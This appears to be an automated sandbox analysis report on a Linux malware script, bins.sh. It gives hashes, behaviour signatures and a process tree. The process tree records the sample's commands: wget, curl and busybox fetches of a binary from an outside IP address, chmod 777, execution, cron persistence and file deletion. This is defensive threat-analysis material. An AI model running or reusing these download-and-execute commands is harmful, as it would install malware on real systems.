Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 15:51

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    898d2a8094e95f2f2f209d428d2b92ee

  • SHA1

    54d0f3fd153a1d6b01517f1edb40a857c0e99f30

  • SHA256

    c92c00e4a850ad8e04046670752a4df1f859bec56c7ab8ec7b79e187d76d11b2

  • SHA512

    b35541605c8b1b92212cb1c5ca69ec259257a3fb89fc3d88bd487b1ee81dec4867611b2d0ae14ce7c25cf6a66af314f8ef488d11ce067687626373ceee2af062

  • SSDEEP

    192:9l/XbGStJNVIZNW/nDQvP2QcdCSFXbN5NVIZNMnDQvP2QcdCSr:9lySDNVIZNW/nDQvPqNVIZNMnDQvPq

Malware Config

Signatures

  • Contacts a large (1781) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:1512
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:1513
        • /bin/chmod
          chmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • File and Directory Permissions Modification
          PID:1514
        • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          ./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1515
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1517
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1518
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1519
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1520
              • /bin/rm
                rm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
                2⤵
                  PID:1522
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
                  2⤵
                    PID:1525

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.gnH9uM

                  Filesize

                  210B

                  MD5

                  b98ccf90731c9d7a5d3f24ee90d5cdcc

                  SHA1

                  d48a100ac2106cbb911b0285f8e60ea5cd2a5ec2

                  SHA256

                  eab5bb65bc76389df0ed3dad8218312e3f3279b04973506710c1b60c12e2ad5f

                  SHA512

                  de61ff537a619fec58088dea4bd0827a27ed676c2c91dd1a9d0ff63b1ce989ff3e69789bb281c5564fb41f592800b77442995c82ab5d90e4a46e7baa402c8ff1